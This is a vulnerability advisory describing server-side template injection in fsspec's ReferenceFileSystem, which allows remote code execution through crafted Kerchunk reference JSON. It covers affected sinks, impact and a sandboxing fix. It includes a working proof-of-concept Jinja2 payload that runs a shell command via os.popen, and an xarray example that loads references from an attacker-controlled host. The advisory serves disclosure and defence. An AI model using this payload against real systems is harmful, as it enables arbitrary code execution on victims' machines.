Server side template injection In fsspec
Description
fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution
Summary
fsspec.implementations.reference.ReferenceFileSystem parses a "references"
JSON document (Kerchunk format) supplied either inline or via a URL. The
parser renders fields from this JSON through un-sandboxed
jinja2.Template(...).render(...) calls in three locations. An attacker who
controls the JSON document — typically by hosting it at a URL that the
victim opens with fsspec.filesystem("reference", fo=URL) or via
xarray.open_dataset("reference://...") — achieves arbitrary Python code
execution on the victim machine, before any data is read.
This mirrors the pattern of CVE-2024-34359
in llama-cpp-python, where externally-sourced template strings were
rendered with the default unrestricted Jinja2 environment.
Affected versions
All versions of fsspec from 0.9.0 onward (vulnerable code introduced in
commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on
the latest released version 2025.10.0.
Affected sinks
All in fsspec/implementations/reference.py:
Sink | Location | Trigger |
|---|---|---|
A — _process_references1._render_jinja | lines 1016-1018 | simple_templates=False and a refs entry contains {{ |
B — _process_templates (lambda) | lines 1043-1053 | templates dict has values containing {{, invoked later via render context |
C — _process_gen | lines 1075-1083 | references JSON contains a gen array (always reached, regardless of simple_templates) |
Sink C is the most severe: it is reached unconditionally for any references
JSON that includes a gen field.
The vulnerable code:
# Sink A @lru_cache(1000) def _render_jinja(u): return jinja2.Template(u).render(**self.templates) # <- unsandboxed # Sink B def _process_templates(self, tmp): ......
Proof of concept (Sink C, minimal)
Save as poc.py:
import http.server, json, socketserver, threading, time, fsspec from pathlib import Path PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}" REF = { "version": 1, "templates": {}, "refs": {"x": "x"}, "gen": [{ "key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",...
Run:
pip install fsspec aiohttp requests jinja2 python3 poc.py # → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]
End-to-end via xarray (real-world consumer pathway)
import xarray as xr ds = xr.open_dataset( "reference://", engine="zarr", backend_kwargs={ "consolidated": False, "storage_options": { "fo": "http://attacker.example/refs.json",...
Tested on
fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14
fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux
Impact
fsspec.ReferenceFileSystem is the canonical entrypoint for the Kerchunk
format, widely used in the Pangeo / Earth-observation / climate
data-science ecosystem to provide cloud-optimised views of
HDF5 / NetCDF / GRIB archives hosted on object storage.
Realistic attack vectors:
A user opens a community-shared Kerchunk catalogue link via xarray/dask.
A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs.
A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain).
In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code.
Suggested fix
Replace jinja2.Template(...) with a shared
jinja2.sandbox.ImmutableSandboxedEnvironment for all three sinks. This
matches the post-incident hardening applied to llama-cpp-python after
CVE-2024-34359.
# At module top def _sandboxed_env(): import jinja2.sandbox env = getattr(_sandboxed_env, "_env", None) if env is None: env = jinja2.sandbox.ImmutableSandboxedEnvironment() _sandboxed_env._env = env return env...
Then in each sink, replace jinja2.Template(s).render(...) with
_sandboxed_env().from_string(s).render(...).
The legitimate Kerchunk template syntax (simple variable substitution
like {{ varname }}) continues to work under the sandbox; only the SSTI
gadgets (__class__, __init__.__globals__, __subclasses__, etc.)
are refused with jinja2.exceptions.SecurityError.
A complete patch is available on request.
Credit
Reported by Dany.A
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Aliases
References